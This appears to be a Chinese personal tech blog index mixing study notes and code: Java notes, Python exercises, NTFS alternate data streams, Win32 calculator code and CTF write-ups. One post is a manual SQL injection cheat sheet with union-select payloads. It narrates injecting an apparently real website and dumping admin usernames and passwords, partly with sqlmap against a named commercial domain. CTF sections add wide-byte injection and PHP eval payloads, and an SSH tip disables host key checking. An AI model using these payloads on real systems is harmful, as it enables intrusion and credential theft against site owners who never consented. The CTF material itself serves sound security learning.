0%

数据结构与算法-java 描述

第一章 java语言的面对对象编程

  • java的类型,boolean不能进行数值运算
  • 整数进行32位运算,而byte是8位的,所以两个byte进行运算的时候会产生一个32位的int,直接赋值位报错
  • java可以进行unicode字符赋值
  • 对象的声明不会创建对象???,必须new一个对象,给声明的变量赋值
  • java中类中包含了方法main(),是程序开始执行的起点,main()必须包含在一个类里面,不能是一个独立的方法
  • 命令行编译 java C.java 运行:java C
  • 多个类中必须有一个类中是包含main()函数的,main()的形式:public static void main(String args[])
  • 修饰符缺省时表示包里面的任何对象都可以通过声明来访问对象的方法和域
  • 静态方法可以通过类名和对象名访问,非静态只能通过对象名来访问,记得对象声明完之后,要new创建一个对象出来
  • 通用类有点像c++的模板 ```class GenClass{ object[] storge=new object[50];

#python习题集 具体地址
我的代码 ## 第一天在图像上加红色数字 >2017-7-23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

from PIL import Image,ImageDraw,ImageFont

def add_num(img):
draw=ImageDraw.Draw(img)
myfont=ImageFont.truetype('c:/windows/fonts/Arial.ttf',size=40)
#arial.ttf是字体,size是字体大小
fillcolor="#ff0000"
width,height=img.size
draw.text((width-40,0),'99',font=myfont,fill=fillcolor)
img.save('result.jpg','jpeg')
return 0

if __name__=='__main__':#这里的__name__和__main__是全局变量
image=Image.open('image.jpg')
add_num(image)

坑:pentestbox中没有PIL库,python -m pip install PIL,提示更新pip,更新完之后,还是安装不上,python -m pip search PIL,确实发现有PIL库,但是却无法安装,google,提示缺少freetype库,但是pentestbox似乎不能安装,放弃。。。。
google得:pillow是PIL的双胞胎(手动滑稽),而且仍在更新维护,回到pentestbox,发现有pillow,于是正常使用即可.......,绕了一圈,from PIL import Image,ImageFont,ImageDraw

第001题 生成200个激活码

import string
import random

table=string.letters+string.digits#table是英文26字母大小写和数字

s=open("temp.file","w")
for i in xrange(200):
    s.write("".join([random.choice(table) for i in xrange(20)]))#random.choice随机选择,而且使用了list推导式,代码长度减少了
s.close()
阅读全文 »

NTFS交换数据流

参考博客 微软官方的解释

  1. 微软的官方定义是:流是有序的字节。在NTFS文件系统中,流里面包含了数据,这些数据被写到文件中,并且给这个文件属性和内容之外的更多信息。例如:你可以创建一个包含搜索关键词的流,或者是包含文件创建者信息的流。
    (这一段是我自己翻译的233333333333)
    2.NTFS流的类型有很多,图片、文本等等 ## 制作一个包括NTFS流的文件 echo "str">file:newname
    example: echo "hello">hapi.txt:guapi.txt
    把hello这个字符串放到hapi.txt后面的流中,命名为guapi.txt
    要查看这个文件也非常简单
    notepad hapi.txt:guapi.txt --- type 命令用把一个文件放到流里面
    type 233.jpg>>hapi.txt:guapi.jpg

3.检测这些流文件可以使用lads.exe ,把程序放到文件目录下
lads.exe /s递归检测ntfs流
'streams.exe -d' 可以用来删除ntfs流
4.提取流文件
alternateStreamView

pentestbox下运行ssh报错

如上图所示,直接用ssh连接主机,会提示主机的真实性(校验?验证?)无法被创建。创建了一个sha256加密的指纹,但是这个key在与主机校验的时候会失败
一开始我以为是cmd无法翻墙,因为我记忆中好像有过这么一段疑问来着。所以我ping了一下google,发现ping不通,于是就确定是cmd与vpn的关系。四处询问各方大佬。

20分钟之后,准备修改shadowsocks的选项设置,发现shadowsocks使用的协议支持三种sock5(UDP),HTTP隧道,TCP,遂查询ping使用的协议,查得结果是icmp,于是瞬间恍然大悟。。。。

总结:ping命令是无法通过ss的,也就是说ssh的报错与ping不通国外的网是无关的
回到问题本身上面,百度报错内容,发现博文,可以把这个验证关闭掉就可以了,所以原来的命令就变成了ssh -o StrictHostKeyChecking=no [hostaddress] port

可乐的资源汇总(v1.0)

本着尽可能多的原则来总结这些资源,所以可能会有重复 ,一定会有重复,会有很多重复!!!!!!

大佬们的优秀合集

W系学习路线
M系学习路线
C系学习路线
成为专业程序员路上用到的各种优秀资料、神器及框架
微信小程序开发合集
计算机开发电子书汇总
计算机相关技术资料整理
## 科学上网(ss,vpn) ss免费账号 合集
pac自动代理 pac自动代理
龙猫ss 龙猫ss
快鸟vpn 每天一个免费账号 ## 搜索工具 快搜 搜索引擎合集
鸠摩搜书 搜索电子书
胖次网盘搜索工具 百度网盘搜索工具
网盘搜索工具 百度网盘搜索工具

在线编程学习平台

阅读全文 »

pip的安装与binascii.crc32报错

问题起源

今天再看hbctf第一场的题解,发现一道编写python脚本爆破crc32的题目。于是尝试了一下,但是程序报错

import binascii
real = 0x9c4d9a5d
for y in range(100000, 999999):
    if real == (binascii.crc32(str(y)) & 0xffffffff):
        print(y)

误以为是binascii模块没有安装,智障地去安装了pip,最后又重新找了问题的解决方法 ##pip的安装 for windows 首先要配置要python的系统变量的PATH值。然后去pip下载下载pip,解压(tar -xf **),然后打开cmd,这里的cmd要用管理员方式打开,否则安装的时候会报错,提示权限不够。

阅读全文 »

常见的手工注入方法

  • 判断注入点:' and 1=1' 'and 1=2'报错来判断是否是注入点,部分诸如点事宽字节注入%df'来判断    
  • 利用order by 猜测出列数
  • 获取数据库的名称和版本号   http://www.xxx.asp?id=1' union select 1,2,3,4....n--+
  • 利用'--+'或者是'#'把后面的代码注释掉,防止报错,有的时候网页不回显,可以尝试传入一个无效的参数值
  • 在爆出数据的地方替换成database(),@@version,version(), eg:'union select 1,2,version(),@@version(),database()--+
  • 如果mysql的版本号大于5,那就存在information_schema表,可以尝试以下注入
  • 查询数据库名  union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata #
  • 查询表名 union selet 1,2,3,group_concat(table_name), 5 from information_schema.tables where table_schema='数据库'#   或者是: union select 1,2,3,group_concat(table_name),5,from information_schema.tables where table_schema=数据库名的16进制#   数据库名的16进制没有引号
  • 查询列名 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name='表名'#
  • 最后爆数据 union select 1,2,3,group_concat(列名),5 from 表名# 搞定手动 # 开坑(盲注) 未完待续 # 手工注入 发现了一个网站存在sql注入漏洞
    于是先猜测表名 and exists (select * from admin),页面显示正常,说明存在admin表,于是order by n 猜测列数 猜测出列数是28,页面显示23,然后联合查询,把23分别替换成username,password之后,获得账号密码
    and exists (select * from admin) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,username,24,25,26,27,28 from admin

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,password,24,25,26,27,28 from admin # sqlmap工具注入 sqlmap -u http:***?article=91
结果显示article是一个注入点,显示出是布尔类型,payload
sqlmap -u http:***?article=91 --tables
猜测表名,发现表名中有一个admin,
sqlmap -u http:***?article=91 --columns -T admin
查询这张表的列名
sqlmap -u http://www.inbond-cn.com/showproducts.asp?id=91 --columns -T admin 回显数据 sqlmap -u http://www.inbond-cn.com/showproducts.asp?id=91 --dump -C "username,password" -T admin

vcxproj 文件是vc++的主项目文件
filters 是筛选器文件
项目名.h 是应用程序的主头文件
项目名.cpp是主应用程序的源文件
atlimage.h 是CImage类的头文件,用于文件的打开,显示,保存,最好包含在stdafx.h文件里面
Overridables 重写虚函数
2017-5-18:第一个windows程序:简单的计算器

#include "resource.h"
#include <Windows.h>

//资源总管

INT_PTR CALLBACK theProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
        switch (uMsg)
        {
        case WM_COMMAND:
               if (LOWORD(wParam) == IDOK)
               {
                       int left = GetDlgItemInt(hwndDlg, IDC_EDIT1, NULL, TRUE);
                       int right = GetDlgItemInt(hwndDlg, IDC_EDIT2, NULL, TRUE);
                       SetDlgItemInt(hwndDlg, IDC_EDIT3, left + right, TRUE);
                       MessageBox(hwndDlg, "你点击了ok", "瓜皮须知", 0);
               }
               if (LOWORD(wParam) == IDC_EXIT)
               {
                       EndDialog(hwndDlg, IDC_close);
               }
               if (LOWORD(wParam) == IDC_close)
               {
                       EndDialog(hwndDlg, IDC_close);
               }
               if (LOWORD(wParam) == IDCANCEL)
               {
                       MessageBox(hwndDlg, "你个瓜皮","linshi", 0);
                       EndDialog(hwndDlg, IDCANCEL);
               }
               break;

        }
        //消息回调函数Umsg是消息的种类,消息是事件回调的返回值,各种消息种类都在此汇总
        return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd, int nCmdShow)
{
        //messageBox FindWindow
        DialogBox(hInstance, (LPCTSTR)kele, NULL, theProc);
               return 0;
}

#resource.h里面包含的是所有资源的id,也控制许多常量的id,再是喊不支持输入

四则运算计算器,支持除数为0报错 #include "resource.h" #include <Windows.h> #include <stdio.h>

//资源总管
double GetDlgItemDouble(HWND hwnd, UINT nID)
{
        char s[256];
        GetDlgItemText(hwnd, nID, s, sizeof(s));
        return atof(s);
}
//atof atoi
//itoa   ftoa???
//sprintf 数字》》字符串   格式化函数
void SetDlgItemDouble(HWND hwnd, UINT nID, double db)
{
        char s[256];
        SetDlgItemText(hwnd, nID, s);
}
INT_PTR CALLBACK theProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
        switch (uMsg)
        {
        case WM_COMMAND:
               if (LOWORD(wParam) == IDOK)
               {
                       int left = GetDlgItemInt(hwndDlg, IDC_EDIT1, NULL, TRUE);
                       int right = GetDlgItemInt(hwndDlg, IDC_EDIT2, NULL, TRUE);
                       SetDlgItemInt(hwndDlg, IDC_EDIT3, left + right, TRUE);

                 left = GetDlgItemInt(hwndDlg, IDC_EDIT4, NULL, TRUE);
                 right = GetDlgItemInt(hwndDlg, IDC_EDIT5, NULL, TRUE);
               SetDlgItemInt(hwndDlg, IDC_EDIT6, left - right, TRUE);
                       MessageBox(hwndDlg, "你点击了ok", "瓜皮须知", 0);
                       left = GetDlgItemInt(hwndDlg, IDC_EDIT7, NULL, TRUE);
                       right = GetDlgItemInt(hwndDlg, IDC_EDIT8, NULL, TRUE);
                       SetDlgItemInt(hwndDlg, IDC_EDIT9, left * right, TRUE);
                       left = GetDlgItemInt(hwndDlg, IDC_EDIT10, NULL, TRUE);
                       right = GetDlgItemInt(hwndDlg, IDC_EDIT11, NULL, TRUE);
                       if (right == 0)
                       {
                              MessageBox(hwndDlg, "兄弟讲道理啊", "你是瓜皮", 0);
                              break;
                       }
                       SetDlgItemInt(hwndDlg, IDC_EDIT12, left/right, TRUE);
               }
               if (LOWORD(wParam) == IDC_EXIT)
               {
                       EndDialog(hwndDlg, IDC_close);
               }
               if (LOWORD(wParam) == IDC_close)
               {
                       MessageBox(hwndDlg, "gua", "hello", 0);
                       EndDialog(hwndDlg, IDC_close);
               }
               if (LOWORD(wParam) == IDCANCEL)
               {
                       MessageBox(hwndDlg, "你个瓜皮","linshi", 0);
                       EndDialog(hwndDlg, IDCANCEL);
               }
               if (LOWORD(wParam) == ID_EXIT)
               {
                       EndDialog(hwndDlg, ID_EXIT);
               }
               break;

        }
        //消息回调函数Umsg是消息的种类,消息是事件回调的返回值,各种消息种类都在此汇总
        return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd, int nCmdShow)
{
        //messageBox FindWindow
        DialogBox(hInstance, (LPCTSTR)kele, NULL, theProc);
               return 0;
}





//double版计算器
#include "resource.h"
#include <Windows.h>
#include <stdio.h>

//资源总管
double GetDlgItemDouble(HWND hwnd, UINT nID)
{
        char s[256];
        GetDlgItemText(hwnd, nID, s, sizeof(s));
        return atof(s);
}
//atof atoi
//itoa   ftoa???
//sprintf 数字》》字符串   格式化函数
void SetDlgItemDouble(HWND hwnd, UINT nID, double db)
{
        char s[256];
        sprintf(s, "%lf", db);
        SetDlgItemText(hwnd, nID, s);
}
INT_PTR CALLBACK theProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
        switch (uMsg)
        {
        case WM_COMMAND:
               if (LOWORD(wParam) == IDOK)
               {
                       double left = GetDlgItemDouble(hwndDlg, IDC_EDIT1);
                       double right = GetDlgItemDouble(hwndDlg, IDC_EDIT2);
                       SetDlgItemDouble(hwndDlg, IDC_EDIT3, left + right);

                       left = GetDlgItemDouble(hwndDlg, IDC_EDIT4);
                        right = GetDlgItemDouble(hwndDlg, IDC_EDIT5);
                       SetDlgItemDouble(hwndDlg, IDC_EDIT6, left - right);

                        left = GetDlgItemDouble(hwndDlg, IDC_EDIT7);
                        right = GetDlgItemDouble(hwndDlg, IDC_EDIT8);
                       SetDlgItemDouble(hwndDlg, IDC_EDIT9, left * right);

                        left = GetDlgItemDouble(hwndDlg, IDC_EDIT10);
                       right = GetDlgItemDouble(hwndDlg, IDC_EDIT11);
                       if (right == 0)
                       {
                              MessageBox(hwndDlg, "不要这样,先生", "给瓜皮的一份信", 0);
                                      break;
                       }
                       SetDlgItemDouble(hwndDlg, IDC_EDIT12, left / right);
               }
               if (LOWORD(wParam) == IDC_EXIT)
               {
                       EndDialog(hwndDlg, IDC_close);
               }
               if (LOWORD(wParam) == IDC_close)
               {
                       MessageBox(hwndDlg, "gua", "hello", 0);
                       EndDialog(hwndDlg, IDC_close);
               }
               if (LOWORD(wParam) == IDCANCEL)
               {
                       MessageBox(hwndDlg, "你个瓜皮","linshi", 0);
                       EndDialog(hwndDlg, IDCANCEL);
               }
               if (LOWORD(wParam) == ID_EXIT)
               {
                       EndDialog(hwndDlg, ID_EXIT);
               }
               break;

        }
        //消息回调函数Umsg是消息的种类,消息是事件回调的返回值,各种消息种类都在此汇总
        return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd, int nCmdShow)
{
        //messageBox FindWindow
        DialogBox(hInstance, (LPCTSTR)kele, NULL, theProc);
               return 0;
}
阅读全文 »

misc

misc题目下载 ## 女神 binwalk跑一跑,确实是一张图片,查看文件的详细信息,exif信息无异常,直接二进制打开,ultraedit打开之后,文件末尾发现明文flag。

图种

binwalk跑一跑,发现,中间夹了一个zip文件,dd命令提取出来,获得zip压缩包,flag是zip文件里面gif图片的最后一句话的拼音首字母。

丘比龙De女神

阅读全文 »

web题

1.签到题

第一道题加群,群公告里面有个flag ## 2.web2 打开网页之后是一大群滑稽,聪明的人都能找到答案,毫无疑问,应该是一道水题,果断ctrl+u查看源代码,发现flag是明文 ## 3.文件上传 上传一个php文件,被拦截;上传一个图片文件,提示不是php文件,使用burpsuite,上传一个图片文件.png,被burp拦截下来之后,发送到repeater里面,修改文件后缀.png.php,response里面得到flag
## 4.计算题 题目出现了一个很简单的验证码,只要输入正确就可以获得flag,但是尝试后发现题目的输入框只能输入一个数字,果断审查元素,发现了输入框的最大长度被设置成了1,于是修改输入框的maxlength属性为5 输入结果就可以了 ## 5.web3 打开网页之后疯狂弹窗,按住回车,稍等片刻之后,查看源代码,发现这个 发现一长串奇奇怪怪的字符,猜测应该是ascii码,加密,所以理论上来说应该编写脚本,但是水平不太够,实际上就是懒得编,所以说手动对表得到flag ## 6.sql注入 http://103.238.227.13:10083/?id=1 使用了'、'and 1=2',我擦我以为是盲注太刺激了。。。。。后来打开源码看了下gbk编码,考虑宽字符注入构造payloadhttp://103.238.227.13:10083/?id=1%df',成功了,就是宽字符注入。 http://103.238.227.13:10083/?id=1%df' order by 2 一共有两列
http://103.238.227.13:10083/?id=1%df' union select 1,2--+
http://103.238.227.13:10083/?id=1%df' union select 1,database()--+ 数据库是sql5
http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key--+ 题目要求查询string字段 查询key表
ps:如果直接查询key表的话key既是表名又是字段名,具体的原因可以这样看
payload:http://103.238.227.13:10083/?id=1%df' union select 1,string fromkey--+
http://103.238.227.13:10083/?id=1%df' union select 1,table_name from information_schema.tables--+ 表名中有个key
http://103.238.227.13:10083/?id=1%df' union select 1,column_name from information_schema.columns--+ 字段名中有个key
## 7.sql注入1 题目的过滤可以在关键词中加入<>绕过 ## 你必须让他停下来 这个题目打开网页之后,网页会不断的刷新,所以用burpsuite抓包让他停下来,应该会出现flag 耐心抓,每次刷新都不一样,终有一次会出来flag的,
## 本地包含 eval存在执行漏洞,使用hello构造payload
http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3 ## 变量一 题目提示flag在变量里面,我们就要把所有的变量值都打印出来。看到题目使用了preg_match,使用正则匹配,变量名只能是字母或者数字的组合,最后输出\[args,把$args的内容当做变量来处理,所以构造payload `http://120.24.86.145:8004/index1.php?args=GLOBALS` 得到flag ## web4 提示查看源文件,查看源文件发现两个变量的内容是url编码,下面的eval里面使用了unescape函数解码,所以直接使用url解码,得到的字符串手动拼接就可以了 ``` function checkSubmit() { var a=document.getElementById("password"); if("undefined"!=typeof a) { if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) return!0; alert("Error"); a.focus(); return!1 } document.getElementById("levelQuest").onsubmit=checkSubmit;``` 所以在输入框中输入上面67d709b2b54aa2aa648cf6e87a7114f1,得到flag ## web5 查看源代码,发现一长串,google/baidu得到这是jsfuck,在chrome里面运行jsfuck的脚本,立刻得到源代码 ![](http://or4d8nhvk.bkt.clouddn.com/17-6-7/54118776.jpg) ## 变量一 题目提示flag在变量里面,我们就要把所有的变量值都打印出来。看到题目使用了preg_match,使用正则匹配,变量名只能是字母或者数字的组合,最后输出\]args,把$args的内容当做变量来处理,所以构造payload
http://120.24.86.145:8004/index1.php?args=GLOBALS 得到flag

misc

这只是一张单纯的图片?

阅读全文 »